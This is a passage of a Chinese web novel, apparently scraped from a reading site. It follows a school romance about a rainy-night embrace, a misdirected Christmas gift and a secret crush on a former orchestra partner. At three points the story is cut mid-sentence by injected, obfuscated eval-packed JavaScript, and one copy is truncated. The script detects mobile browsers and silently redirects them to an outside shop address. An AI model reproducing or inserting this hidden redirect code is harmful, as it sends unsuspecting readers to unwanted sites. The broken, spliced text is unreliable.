被朱缇这厮诓了。 朱缇狡诈地笑,“心虚了吧?看你慌成这个B样。说说呗,保证不说出去,我发誓。”她假模假式地举起一根手指,“真的,相信我。” “屁事没有。爱信不信。”周悉许看着那根孤零零的手指,翻了个白眼,“你家发誓伸一个手指头?还特么是中指?鄙视谁呢?” 朱缇装傻:“啊?我一直以为是这样发的。别在意这些不重要的。你敢发誓真屁事没有?” “懒得搭理你。” 周悉许掀开被字,下了床。 “逃了。你逃了,周悉许。”朱缇在后面叫,边叫还边拍手,样子很欠揍。 “没有!” “没有你不敢发誓?” 周悉许没吭声。 溜了。 这个誓,她还真不敢发。因为朱缇是说中了一部分。 肢体接触…… 是真的有。 面红心跳…… 也真的有。 周悉许打开冰箱,倒了杯果汁,咕咚咕咚喝了两大口。 想起那天发生的事,耳朵不受控地发热。 —— 当晚,两人吃完夜宵准备回酒店。 走出餐厅,见程又一两手空空,周悉许问:“你没带伞?” 程又一戴上衣服自带的帽子,抬腿就准备往雨里冲:“防水的。” 虽然很多英国人都没打伞的习惯,但周悉许还是觉得下雨天不打伞有点自虐。 没遇到也就算了,两人同行,只有自己打伞,她有点过意不去,于是她拉住程又一,“一起吧。”说着把伞递给他,“你比较高,你来撑。” 程又一明显顿了一下,喉结微动,然后接过伞,撑在头顶,偏向周悉许那边。 两人并肩走在雨里。空间有限,肩膀偶尔碰到。但周悉许能感觉到程又一很小心。离得近了,他会往外移一移,尽量保持距离。 他另一侧的肩湿了大半,袖子上沾满水珠。 走了没几分钟,雨势突然变大,伞在风雨里剧烈摇晃。 又艰难走了几步,骨架被吹断了,伞面整个翻折过去。 程又一伸手护在周悉许头顶。 周悉许条件反射般躲进他怀里。胸口贴着他的胸口,心跳很重,分不清是谁的。 扑面而来的是薄荷清香,隐约混着柠檬味。 脑子宕机了几秒。 回过神来,才发现自己的手还紧紧攥着人家的衣服。 这是她第一次和异性这么近距离的亲密接触,还是零距离,她心跳快得要蹦出嗓子眼了。担心被发现,周悉许试图分散注意力,“找个地方避避,还是继续走?” 程又一罕见慢了半拍。手指微微蜷了蜷,又缓缓松开。 四周看了一圈。离酒店不远,附近没有能避雨的地方。 “继续走吧。”他拉开外衣的拉链,把衣服全部罩在周悉许头顶。“没几步就到了。” 周悉许抬头看了看头顶的衣服,又看了看他几乎湿透的上半身。 眉头微蹙。 躲进程又一怀里虽然不是故意的,那种情况,换谁谁都得这么做。事是她做的,但是情急之下的本能反应。既然是情急所迫,那现在也没必要在意小节。反正程又一无心,她也无意,就是躲个雨。 “一起吧,你也躲进来。”她说。 程又一眼里闪过一丝意外。随后撑着衣服的手又挪了挪,另一侧遮在自己头顶。 两人就这样在雨里各自强装冷静,走了差不多十分钟,到了酒店。 刚进大厅,就碰上篓恩、柳宜菲和徐途。 原本还在和前台据理力争的三人,同时噤了声。 篓恩用力揉了揉眼睛,伸手拍了下柳宜菲。 “班长,掐我一下,我没看错吧。” 柳宜菲还没从震惊中缓过来,呆愣地点点头,无意识地在篓恩胳膊上死劲拧了一下。 “啊——” 周悉许被叫声吸引,看过去,顿了一下。随后故作镇定地打了个招呼,拔腿就往电梯走。 程又一跟了上去。 进了电梯,两人都没说话。氛围出奇地安静。 电梯缓慢上行。周悉许死死盯着跳动的数字,盼着赶快到。 一分一秒都难捱。 好不容易到了6楼。她先出了电梯,程又一跟在后面。 两个人的步伐都不疾不徐,只是心里乱了方寸。 走到周悉许房间门前,程又一也停下了脚步:“聊聊?” 周悉许推开房门:“进来吧。” 程又一没动,站在门口,没跨过那道门槛:“你刚才什么意思?” 周悉许很清楚他问的是什么。 那个猝不及防的举动,换谁都会吓一跳。程又一要个解释,很正常。就算是女生,也不能平白无故占人家便宜。 她斟酌着开口:“抱歉,刚才应激反应。风还挺大的,伞突然折了,我怕被吹跑,就想着随手抓个东西。” “所以就往人怀里钻?” 程又一轻笑。 那表情摆明了是让她正视自己的荒唐行为。 言下之意:坦诚点,你就是想占便宜。 周悉许想了想。“不管怎么说,刚才的事是我的锅,虽然是失误,但也冒犯了。” 程又一看了她好一会儿,笑了。 “你是这么容易失误的人吗?” “嗯?” 他问得突兀,和刚才聊的似乎对不上。 周悉许一头雾水。 “我记得你防备心挺强的。突然来这么一下——”他嘴角那个弧度更大了,顿了顿,“还挺容易让人误解。” “误解?” 程又一笑得意味不明,没再解释。 “先回去了,早点休息。” 说完他走到自己的套房,推门进去。 关门前,他回过头:“睡不着就自己想想。” 然后门关上了。 周悉许愣在原地。 好一会儿,才关上房门。 那晚,周悉许失眠了。 她翻来覆去琢磨程又一的话,又一遍遍回想雨里发生的事。 莫名其妙的,怎么也睡不着,越想越精神,整晚都很亢奋。 所以现在想想,朱缇说得没错。她不得不承认,当时的心......确实乱了。 “周悉许,你至于吗?躲这儿来了?就这点出息。” 朱缇的声音拉回了她的思绪。 她晃了晃手里的杯子,嘴硬道:“没躲。太渴了,下来喝点水。” “卧室里有冰箱也有水,非得费那么大劲下楼喝?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17586038|205265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 朱缇直接拆穿,“再说,你喝个水,用得上半个小时?” 周悉许语塞。 朱缇看着她的眼睛:“别装了,你肯定有情况。” 周悉许知道瞒不过她。和这厮混在一起的时间比谁都久,朱缇了解她的程度甚至超过她自己。与其费脑子糊弄,不如直接交代。而且这事确实挺困扰她的,说出来也能有个人分析分析。 “其实,就是个失误。” “什么失误?你酒后乱性了?”朱缇来了精神。 “你那个脑子里没别的了?”周悉许服了这货的脑回路,“没那些乱七八糟的。挺简单一事,没什么大不了的。” “别那么多前缀。直接讲事。”朱缇催促。 “就有天我出去吃夜宵,碰上程又一了。然后回酒店又碰上暴雨了。然后——” 周悉许停顿了一下,看着眼前一脸期待的人,鼓了鼓勇气,“然后我想着躲雨,一个不小心,就躲程又一怀里了。” “卧槽!!!” “卧槽!卧槽!” “周悉许,你可以啊。”朱缇激动到尖叫,“没看出来啊,这么茶的手段你都搞得出来。” 周悉许绝望。 难怪程又一会想歪。连自己多年铁蜜都觉得她是故意的。 她叹了口气:“怎么连你也这么觉得。” “不然呢?你躲雨就躲雨,往人怀里钻干嘛?” “雨大啊,风也大,本能反应啊。” “以前咋没见你往陆竞怀里钻过?咱俩一起的时候下雨你也挺淡定的。” 朱缇一脸坏笑。 “我看你啊,就是纯纯见色起意。对人家程又一有好感,才触发你这个本能反应。” 周悉许不认可:“说的什么屁话。行了别给我添堵了,本来就闹心。” “你就不承认吧。你哪来的这种本能反应?男的碰你一下你都炸毛才是你的本能反应。现在自己往人家怀里扑,你自己想想,不反常吗?” 周悉许无法反驳。 当时,她也觉得自己的行为很反常。 “就算你对人家没啥多余的想法,但我敢保证,好感绝对是有的。只不过你自己不知道而已。”朱缇慢悠悠地说。 语气很平淡,却直击人心。 周悉许想起了那天程又一问她的话:“你是这么容易失误的人吗?” 所以,程又一大概也是和朱缇想的一样…… “那人家啥态度?他说什么了?”朱缇问。 周悉许拧眉:“还能什么态度?估计和你想的一样,认为我对他别有所图。” 那天程又一站在她房间门口,连门槛都没跨过去。应该是怕让她误以为有机可乘。 “估摸着给他吓得不轻。”周悉许说。 朱缇被逗笑了:“就这?至于吗?再怎么说他也是一大男生。你方方面面的条件,扑他,也是便宜他了。你确定他不是偷着乐呢?” “嗯。他表现得还是挺明显的。让他进我房间,他腿都没抬。” 朱缇惊得张大嘴巴:“Ohmygod,你还让人家去你房间?周悉许,你真打算做坏事啊?” “不是,就是聊聊。我寻思在走廊聊也不方便,万一被人看到又要乱传,还不如让他进房间聊。” “哦,这样啊。”朱缇皱着眉想了想,“难道是我想错了?” “什么想错了?”周悉许问。 “没什么。等之后再说这事。不过,你是真可疑。” “可疑个屁。” “你就死不承认吧。作为旁观者,我看得比你清楚多了。到底有没有自欺欺人,你自己好好想想。” 周悉许没再争辩。 —— 深夜。 周悉许躺在床上又睡不着了。身旁是朱缇平稳的呼吸声。 程又一和朱缇的话在脑子里交替浮现。 自己那时到底是出于什么心理? 难不成真和朱缇说的那样,潜意识里对程又一其实有好感? 细想片刻,又果断否定。 她从来不信一见钟情。 更何况,刚见到程又一时她并没好感。虽然近期的相处让她对他有所改观,但硬要说是好感,太牵强,也太荒谬了。 那个情形身边换作任何人,她都会做出一样的举动。只不过之前没遇到相同的情况,无从证明而已。 周悉许认准了那就是本能反应。 想通了。 她终于合上了眼。 26. 非你不可 夏令营结束后,没过多久朱缇就回申泸了。 她爸怕她继续留级,老脸挂不住,就象征性给她报了个补习班。朱缇倒是去得挺起劲,每天都风雨无阻,像完全变了个人一样。 对此,周悉许很纳闷。 这人怎么突然转性了? 她想着或许是遇到了良师,讲课生动有趣,才激发了朱缇对学习的兴趣。 直到有天去补习班找她,看到老师那张神似周悉丞的脸,周悉许才意识到自己想多了,这家伙纯粹是来看人的,不是学习。 对方是申大二年级的高材生,暑假出来兼职,长得英俊帅气。虽然脸有几分像周悉丞,但气质截然不同,他斯文谦和,周身透着股书卷气,一看就是品学兼优的好学生。 朱缇这次没有大张旗鼓地对人家展开猛烈追求,而是严格恪守师生关系,每天都准时去上课,只不过经常在课上经常盯着那张脸发呆。 周悉许无聊时也会陪着一起去,整个暑假,两人几乎天天厮混在一起。 偶尔想起你知我知那个帖子,她会去看看诱尔的动态。最近一次更新是一个多月前,似乎有了不错的进展。他发了一个胜利的表情,配文是:她在无意识慢慢靠近。 之后再无动静。周悉许猜,大概是修成正果了。 九月,迎来了新的学期。 朱缇去了周悉丞他们班,她每天都规规矩矩来上学,和之前在英国完全不一样,跟脱胎换骨了似的。 经过夏令营那段时间的相处,周悉许与徐途、柳宜菲亲近了许多,还把朱缇介绍给了她们。柳宜菲本就擅长交际,朱缇又大大咧咧,一来二去,几人便熟络了。 新学期,周悉许没什么变化,日复一日过着两点一线的生活。比起之前,这学期平淡了不少。 程又一一直没来学校,顾畔也跟着消停了,她乐得清闲。 至于程又一,据说是忙着准备比赛。一晃新学期快过去两个月了,始终不见他的踪影。 直到圣诞节那天,他才出现。 距离上次见面,已经快半年了。 程又一比之前瘦了些,头发也短了。五官显得更立体,轮廓愈发棱角分明,周身那股桀骜不驯的气质一点没变。 整个人更帅了。 他站在校门口,像是在等人。 周悉许自然而然觉得他是在等篓恩。她想假装没看见躲过去,省得打招呼。 毕竟,之前那事想想还是挺尴尬的。 她低着头朝校门另一侧走,又怕引起对方注意,索性把帽檐压到最低。 走了几步,一双鞋落入视线。周悉许略迟钝地抬起头。 “怎么?不认识了?”程又一的声音从头顶落下来。 那个雨夜之后,周悉许就一直躲着程又一。没过两天夏令营就结束了,这次是那件事后两人第一次正式面对面。 周悉许有些不自然。 她僵硬地扯了下嘴角,语气冷淡而疏离:“好久不见。” 程又一看得出她是在和自己刻意保持距离,就差把“不熟”两个字直接写在脸上。他半开玩笑说,“是吗?我怎么感觉你往我怀里钻那事儿,像是昨天刚发生的。” 周悉许头皮发麻。 真是怕什么就来什么。她越想翻篇,这篇却越是翻不过去。都过去快半年了,这人还重翻旧账…… 但终归理亏的是自己,也没什么好辩驳的。 周悉许轻咳一声,没接茬,换了个话题打算一带而过,“听说你去比赛了,成绩还不错,恭喜。” 很客套的寒暄,假得不能再假。尤其是硬挤出来的那个笑,比哭还难看。 这点小心思,程又一看得一清二楚。 他知道,周悉许这是在重新跟他划清界限,想回到之前那种和陌生人没差别的普通同学状态。 但遗憾的是,自己不能遂她的愿。 “这次是什么?”程又一想了想,开口问。 这没头没尾的一句话让周悉许摸不着头脑。她尽量维持着表面上的平静,不动声色,等着对方继续说。 心里默默祈祷:赶快糊弄过去,别再出幺蛾子了。 “换不熟的戏码了?” “……” 果然,还是糊弄不过去。 程又一瞥了一眼她僵得接近一条直线的唇,“看着挺不自然的。” 她还是没接话茬,自顾自地说,“先走了。” 说完便抬脚准备离开。 程又一伸手拦住她,“说实话吧周悉许,你是不是喜欢我。” 周悉许停下脚步,抬头看着他,眼里带着点轻蔑,“我记得我和你说过,没镜子就撒泡尿照照自己。怎么,最近连尿也没了?” 程又一没气,反而觉得周悉许这样挺好笑,“不喜欢你搞出这么多套路?” “怎么多套路了?”周悉许反问。 “刚认识那会儿非说我要睡你,后来又说我性取向不明朗,再后来怀疑我对你有意思。最后装都不装了,直接往人怀里钻。” 程又一细数过往,一桩桩一件件,拼凑到一起,还真有点让人说不清。 “我都说了是误会。”周悉许有口难辩。 “误会有点多啊,还都是围着我一个人转。” “……” 又来…… 周悉许抿了抿唇,没吭声。 “现在又演哪出?”程又一盯着她,一字一顿: “欲、擒、故、纵?” 周悉许深吸一口气。 忍无可忍,便无需再忍。 “我重申一遍,对你没想法。你别太自我感觉良好。还有,八百年前的事,能别没完没了吗?” 程又一双手插兜,语气里带着点耍赖的意思,“没办法,我这人挺传统的。被你占这么大一便宜,心里过不去那道坎。” 周悉许很无语。 “怎么就被我占这么大便宜了?不就抱了一下吗?怎么就过不去了?说得好像我把你怎么着了一样。” “那你还想把我怎么着?”程又一挑眉,“下次再有什么想法,提前暗示我一下,我也好有个心理准备。” “……” 程又一这幅吊儿郎当的模样,摆明了是在作弄她。可周悉许也没办法,只能一再澄清。 “话我说得已经很清楚了,你非要歪曲事实,随你吧,反正对我来说无所谓。” 见周悉许有点生气了,程又一没再继续开玩笑,“算了,不逗你了。”他微微屈身,视线和她平齐,从背包里掏出一个盒子递过来。 “什么?” “礼物。” 周悉许满脸提防,打量着眼前的人和他手里的盒子。 盒子很精致,淡粉色的外包装,上面粘着小雏菊,一看就是精心准备的。 “干嘛突然送我礼物?” 程又一答得很快,像是早就料到她会这么问:“送我妹的,买错了。” “哦,废物利用啊。”她说。 “不然呢?扔了浪费。再说了,这种事你不也常干。” “就一次。别咬着不放。就算撞衫,更尴尬的那个也是周悉丞,你差不多行了。”周悉许不满道。 “拿着吧。”程又一晃了晃手上的礼盒,“买都买了,不喜欢,随便扔给谁都行。” 周悉许想了想,还是接过来,随手扔进了自己的书包。 “先进去了。”她朝校门的方向抬了抬下巴。 校门口人来人往。她不想再传出什么风言风语,打破好不容易得来的平静。 程又一也没多留,两人一前一后走进了校门。 刚进教室,篓恩就阴阳怪气,“呦呦呦,这是谁啊?大赛车手回归了。” 程又一从书包里掏出一个蓝色盒子扔给他,“闭上你那张臭嘴。” 篓恩拿着盒子看了又看,“这是啥?给我的?” 程又一没回他。 “太阳从西边出来了?你特么竟然送我礼物?” 篓恩朝周悉许扬了扬手上的盒子,“看着没,礼物。” 周悉许冷笑,“看着了,还挺用心,尤其是上面那根狗尾巴草,和你巨配。” “擦,活驴,你特么是嫉妒小爷得了盛宠。” 篓恩边说边拆开盒子,看到里面装着一个这比中指的小黄鸭,瞬间笑意全无。 “程又一,你特么的,老子还纳闷呢,你特么怎么突然来这么一出,搞半天是耍老子呢。” “爱要不要,废话那么多。”程又一没好气地说。 “行吧,有总比没有强。”篓恩转头问周悉许,“他没送你?” “算送了,也不算送了。” “活驴,你自己听听你说了啥行不?什么叫‘算送了也不算送了’?” 周悉许解释说:“他扔给我一个盒子,但那是买给他妹的,买错了,才扔给我的。” “啊,这么个情况啊。”篓恩拉长音,“程又一,你太不地道了,哪有这么办事的。在英国,还和人搞暧昧呢,这转头就不认人了,过分了啊。” 自打那天在酒店大厅被篓恩撞见,他就时不时拿这事揶揄周悉许。 周悉许搞不清篓恩是真觉得她和程又一有什么,还是单纯嘴欠,反正挺烦的。 她长舒一口气,抬腿踢了下程又一的椅子“还要不要镜子?你兄弟尿多,赶紧给他递个盆,别憋坏了。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17586039|205265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“操,周悉许,你有完没完?”篓恩气得跳脚,“不是说好不提了吗?你讲不讲信用?” 周悉许勾了勾唇角,“摸着良心问问,当初怎么说的?你先毁约,就别怪我翻脸。” 篓恩心虚地闭上嘴,伸出两根手指比了个跪下的动作。 周悉许笑得得意,吐出三个字: “少犯贱。” 之后的两节课,篓恩一直趴在桌子上睡觉,清净了不少。程又一和之前一样,挺安静的,大部分时间都是在听课。 一切又回到了上学期一样的状态,唯一不同的是周悉许的心境。 —— 午休时间。 朱缇和往常一样,等在周悉许班级门口。 “今天吃什么啊?”周悉许慢悠悠走出去,照例询问。 “还吃什么呢,您又出名了,大明星。” 朱缇把手机挪到她面前,“看看,这照片在南洋都传开了,程又一回归第一天,你就给人家拿下了。” “又胡扯什么呢。”周悉许皱眉,随意瞟了眼手机屏幕。 照片里是她和程又一在校门口,程又一手里拿着礼盒,眼睛正紧紧盯着她。 从旁观者视角来看,还真有几分暧昧。 “别跟着乱起哄。” “我起什么哄了,你看看这照片,拍的有模有样的。” 朱缇说着,把手机挪到柳宜菲面前,“来,你们也看看,是我起哄吗?” “这种没啥好吃惊的,家常便饭。”柳宜菲的手指在屏幕上来回滑了两下,“这可和上次比不了,就他俩搂一起那次,那次真是炸裂,热度整整持续了一个多月,也就是赶上暑假了,开学才这么消停。” “擦,那是我小题大做了。” 朱缇捧着手机端详了一会儿。 “还别说,你俩瞧着还挺配的,也不怪人家传的有模有样的。” “是啊,配了一脸,不过就是程又一那人太能装逼。”柳宜菲附和道。 “可是,我有点担心。”徐途面带担忧道。 “担心什么?”朱缇问。 “你们也知道,程又一那个人气,那些女生不敢当面和悉许叫嚣,背地里搞了不少小动作。” 徐途扶了下鼻梁上的镜框,“而且最危险的是顾畔那个定时炸弹,说不准什么时候就爆了。” 柳宜菲点点头,马上又摇摇头。 “程又一的狗腿子确实挺难缠的,不过我觉得,要是你俩真有想法,就不能顾及这些,毕竟都是无关紧要的人。” 周悉许微微皱眉。 “怎么就产生这种错觉了?”她指着自己,难以置信,“我对他有想法?怎么可能?别太离谱行吗?” 柳宜菲被问住,吞吞吐吐道,“就,就感觉吧,你别激动,我就瞎说的。” “看着没?周悉许,是我一个人这么想吗?怪我冤枉你吗?你就实话实说吧,到底是什么想法,甭怕什么顾畔,还是什么鸟畔的,你姐妹给你当后台。” 朱缇拍拍自己胸脯。 “靠得住。” “什么想法都没有,说了八百遍了,就一乌龙事件,算我求你了行不,别扯些不着边的。”周悉许说。 那件事过去好几个月了,朱缇总是揪着不放,周悉许早就解释得没了耐心。起初她觉得这事挺严重,是自己犯过最离谱的错误,可被翻来覆去提了太多次,她现在只觉得那就是个屁大点的事。 “对了,程又一送你的是什么礼物啊?”徐途插话道。 “没看,其实那礼物压根儿就不是送我的,是给她妹的,他买错了,才扔给我。” 徐途若有所思地点点头,“哦,这样啊,还以为是特地为你准备的。” “怎么可能,我和他半毛钱关系都没有,除了误会就是误会。” “别狡辩了,快点的,看看吃啥,听你说这些废话都听腻了。”朱缇在一旁催促。 之后,谁都没再提这个话题,几人都全身心地投入到干饭事业中。 —— 当天晚上。 周悉许倚在沙发上看剧,忽然想起那个礼物。 她从书包里翻出盒子,拆开包装,里面装着个水晶摆件。底座是个舞台,上面坐着一个拉大提琴的女孩,长发,齐刘海,一袭粉色连衣裙。 看着挺眼熟。 大提琴也是。 周悉许心里犯起嘀咕:这礼物真是送给他妹的? 程又一没理由说谎,也没那个必要。况且他说了,东西随她处置,显然并不在意。 她拿起摆件仔细端详,不经意间瞥到底座边缘有一行极小的英文: Noonebutyou. 27. 藏于心底的爱 这人变态吧,送自己妹妹的礼物写这么句话。 周悉许把摆件举到眼前细看 这行字很小,位置也隐蔽。 是没注意? 她随手把东西搁在沙发旁的置物架上,转身去扔包装。一张卡片从里面滑了出来,上面是两行手写英文。 第一行还是那句话:Noonebutyou. 第二行写着:MerryChristmas. 原来是圣诞礼物。 周悉许蹭了蹭卡片上的字,不是打印的,是写上去的。字体苍劲有力,洋洋洒洒,很赏心悦目。 她看着外包装上的小雏菊,愣了会儿神。 这花刚好是她喜欢的。 花语是:隐藏于心底的爱。 送自己妹妹这个花......合适吗?还有这句英文,怎么想都觉得怪。 程又一做事挺严谨的,这种疏忽不该发生在他身上。要么是真像他说的是弄错了,要么就是...... 故意为之? 周悉许没敢再往深了想,怕自己再想偏。 —— 隔天。 刚踏进校门,就听见几个女生叽叽喳喳地议论声。 “论坛都炸了,你不知道?” “知道知道,程又一她妹嘛,转来南洋了。” “听说程又一这学期本来不打算来的,因为他妹转过来,才提前回来了。” “他们感情真好。” “废话,人家是兄妹,从小一起长大的。” “诶,你们看前面那俩,是不是程又一和他妹?” 周悉许顺着那人的目光看过去。 不远处,站着一个既熟悉又陌生的身影。比之前高了些,也更清瘦,周身还是那股清冷的气质。 是程卿。 周悉许怔住了,久久没缓过神。 思绪被拉回那一年。 她七岁,还没开始叛逆,是周家的乖乖女。为了得到父母的爱,她努力学习各种上流社会名媛的必备技能,试图取悦他们。 就是在那时候,她遇到了同样看似乖乖女的程卿。 在一场少儿乐器比赛上,程卿是小提琴组的第一名,周悉许是大提琴组的第一名。比赛结束后,两个女孩一起加入了青少年交响乐团。 周悉许记得,当时的程卿很安静。她不像其他同龄孩子那样开朗活泼,和自己一样,独自一人,游离在集体之外。 看上去也很孤独。 从她身上,周悉许仿佛看到了另一个自己。 于是,她对这个女孩产生了好奇。 “弦乐1组,周悉许,程卿。” 听到声音,周悉许收回视线,走到老师跟前。 那个女孩也走过来了。 原来,她叫程卿。 “打个招呼吧,以后你们就是搭档了。”老师面带着微笑说。 两个女生都用略显稚嫩的童音各自介绍自己,只是说了名字,就不知道该说什么了。其他组的小朋友都聊得热火朝天,她们却不知所措地僵在原地,各自沉默。 之后,每逢假期,两人都一起参加乐团组织的训练。 磨合中,渐渐成了默契十足的搭档。不用说话,一个眼神、一个手势,就能读懂对方。 私下里,她们依旧不怎么说话。见面时打个招呼,训练结束道个别,仅此而已。 就这样搭档了四年。一起度过每个假期,参加了大大小小的乐团演出,收获各个阶段的荣誉。 这四年,周悉许的心态也在悄然改变。那个听话的周家乖乖女,开始走向叛逆。 她放弃了很多从前被迫学的兴趣爱好,唯独大提琴一直在坚持。 或许是真心喜欢,又或许是想通过这项爱好,和程卿这个看上去并不亲密、却异常同频的朋友保持联系。 她觉得程卿身上有一种冷清。虽然不了解她的家庭环境,对她的生活一无所知,但就是感觉她很可怜。 让人忍不住怜惜。 后来,周悉许被扔到英国,和程卿的联系,也就断了。 她常常后悔,一起搭档了四年,竟然没要过程卿的联系方式,以至于后来再也找不到她。 她想过问乐团老师要她的电话,犹豫了几次,最终还是放弃了。 她们的交集,从来只限于演奏厅。 离开演奏厅,隔着英吉利海峡,横跨八个时区,透过那些抓不住的无线电波,她该对程卿说什么? 周悉许自己也不知道。 从前她只是想靠近,哪怕不说话。 可现在,是根本无法靠近。 高一那年,周悉许再次遇到程卿,是在伦敦站的一次交响乐巡演上。 女孩褪去了曾经的稚嫩,出落成亭亭玉立的少女。五官和小时候一样,她高傲地站在台上,举手投足间散发着少女特有的魅力。 偌大的舞台,人头攒动的演奏厅,在看到程卿的那一刻,整个世界都安静了。 周悉许的心莫名一颤。 她觉得自己和以前一样,想靠近,但似乎又不一样,有种说不清的心绪。 她突然想到朱缇问自己“对陆竞有没有心动的感觉”,当时她不知道那应该是怎样一种感觉,但这一刻,好像有答案了。 初次心动的对象,竟然是程卿。 周悉许彻底慌乱了。 她匆忙出了演奏厅,逃离了这场让她陷入自我怀疑的演奏会。 之后的一段时间,她一直困在矛盾中,每天看上去神色恹恹的。 朱缇看出她不对劲,问:“你怎么了?” “没怎么。” “骗鬼呢,你最近一直心不在焉,闷闷不乐。说说吧,姐开导开导你。” 周悉许摇了摇头,想了一会儿,犹豫着问,“你之前问我对陆竞有没有感觉,那是种什么感觉?” 她想从朱缇那找个答案。自己没什么经验,说不定,从头到尾都是她想多了。 朱缇头都没抬,随口说,“还能什么感觉,心动呗。” “说明白点。” “怎么给你形容呢……太抽象了。”朱缇想了想,“就是心突地一下,眼里只有对方,喜欢,想靠近。” 周悉许脑子里一直绷着的那根弦,突然就断了。 心里只有一个声音: 糟糕,中招了。 她竟然喜欢上了程卿——一个和自己相似到连性别都一样的人。 一时之间,周悉许无法面对这份心意。 这注定是一场没有结果的暗恋。她说不出,甚至不敢承认。当下的反应是:尽快行动,遏制这种情感继续发酵,她要把自己掰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“嗯,下次补给你。”程又一淡淡地回。 程卿点点头,没追问。 看来礼物的确是送给程卿的,也的确搞错了。但让周悉许不解的是,一个礼物而已,对程又一来说并不难弄,就算搞错了,再准备一个也用不了多久。但两个当事人都没继续这个话题,周悉许也没再多话。 三人走了一会儿,经过篮球场时,程卿脚步慢了下来。 周悉许也跟着放慢,“你喜欢篮球?” 程卿摇摇头。 “那是喜欢看人打篮球?” “也不是。” 程卿停顿了好一会儿,才接着说,“南洋的球场,建得真好。” “是还行,我刚转来的时候也逛了挺久,南洋建得还算走心,和其他学校差别挺大的。”周悉许说。 她没注意球场上英姿飒爽的周悉丞,也没注意程卿的视线正落在他身上。 更没注意身后,程又一打量她时,那若有所思的目光。 此刻,她满脑子只有一件事: 如何攻略程卿。 28. 露馅 如何攻略程卿? 对周悉许来说,是个难题。 她不敢轻举妄动,怕吓着对方。身边的人她没法说,自己又想不出好法子。可眼瞅着就要放寒假了,再不行动,就得拖到下学期。思来想去,只能到网上求助网友。 她点开诱尔的主页,想看看他有没有分享有用的经验,但对方的动态一直没更新。 估计是谈恋爱去了,忘了这档子事。 周悉许点开私信界面,编辑了一条消息: 「之前关注过你回复的一条评论,想问下你的攻心计进展顺利吗?介意分享下经验吗?(笑脸)」 消息发出去,她把手机放在书桌上,手肘杵着桌面,心急地等着。 倒不是她急性子,只是距离毕业满打满算剩下半年了,可她和程卿连句话都没说上。她有种直觉。如果把握不住在南洋的机会,走出校门就更没希望了。 这几天,周悉许总会有意无意地从程卿班级门口路过,想着制造个偶然邂逅,趁机叙叙旧,再顺便要个联系方式。 不巧的是,竟然一次都没碰上。 但也不是毫无收获,这段时间她摸清了一些信息。 程卿人缘不错,刚来就和班里同学打成一片,还跟陆浅成了好朋友。她好像变了很多,现在很擅长交际。除此之外,她还是个实打实的学霸,成绩名列前茅,以后不是国内一流大学,就是海外名校。 总之,不会和她成大学校友。 想到这,周悉许很沮丧。学习这道坎,还真是困扰她一生的难题。 小时候因为和周悉丞差距大,被周征沈意皖嫌弃,现在因为和程卿差距大,被迫不能选择一个学校。 周悉许咬着手里的笔,眉头紧皱。 “怎么了,悉许,是遇到不会的题了?”徐途探过身问。 她摇摇头,瞥了一眼徐途书桌上那张试卷,叹了口气:“真羡慕你。” 徐途没反应过来,一时有些懵,“啊?”了一声。 “你大学准备去哪?”周悉许问。 “申大”徐途不假思索,又继续刷刷地在草纸上写写画画,模样很认真,是学霸特有的表情。 “挺好。” “你呢?”徐途问。 周悉许被问住了,半天没张嘴。 她能去哪呢? 这个问题,她从来没想过。 见她没回,徐途又问,“你想去哪?” 周悉许想了想,摇摇头。 她不知道该怎么回答。 她倒是想去程卿去的大学,但没那个实力,去哪也不是她能选的,是成绩决定的。 徐途一脸疑问,“没想去的学校?” “想去的地方去不了。”周悉许很坦诚,她知道自己几斤几两,说出来也是笑话,还不如不说。她敲了敲柳宜菲的书桌,“你呢?打算去哪?” 柳宜菲正在偷偷看小说,课本摞得高高的,挡着她大半个脑袋。貌似是看入迷了,听到敲桌字的声音,她以为是被老师,下意识用教科书盖在上面,抬头一看是周悉许,长舒一口气,“吓死我了,你说啥,我没听到。” 周悉许又重复了一遍,“你想去哪个大学?” 柳宜菲笑着回,“这不是我想就能去啊,我想去哈佛耶鲁,想去牛津剑桥,去不了啊。” “你想出国?”周悉许问。 柳宜菲合上小说,“我肯定想啊,谁不想呢。” 周悉许指了指徐途,“她想去申大。” “我也想去申大,但也没戏啊。”柳宜菲朝徐途抬了抬下巴,“她是挑学校,我是被挑的。” “也对。”周悉许认可道,说完又觉得挺打击人的,补了一句,“我没别的意思。” “没事。”柳宜菲不在意地笑了笑,“所以综合现实考量,我只能选个在申泸中等偏上一点点的大学,比如申大旁边的外国语大学。” 申大旁边…… 听到这四个字,周悉许有了新思路。 她虽然去不了程卿的学校,但是努努力,可以去旁边的学校。 她瞬间豁然开朗。 “嗯,你这想法很好。” 柳宜菲挠挠头,“我这人虽然成绩一般,但脑子还挺活的,我打算学两门语言,大学找点兼职,收入应该挺可观的,生活肯定美滋滋。” 周悉许嘴上应着柳宜菲,心早飞了。她在心里把程卿可能去的大学过了一遍,目光不自觉地落在斜前方程又一的后脑勺上。 这人肯定知道。 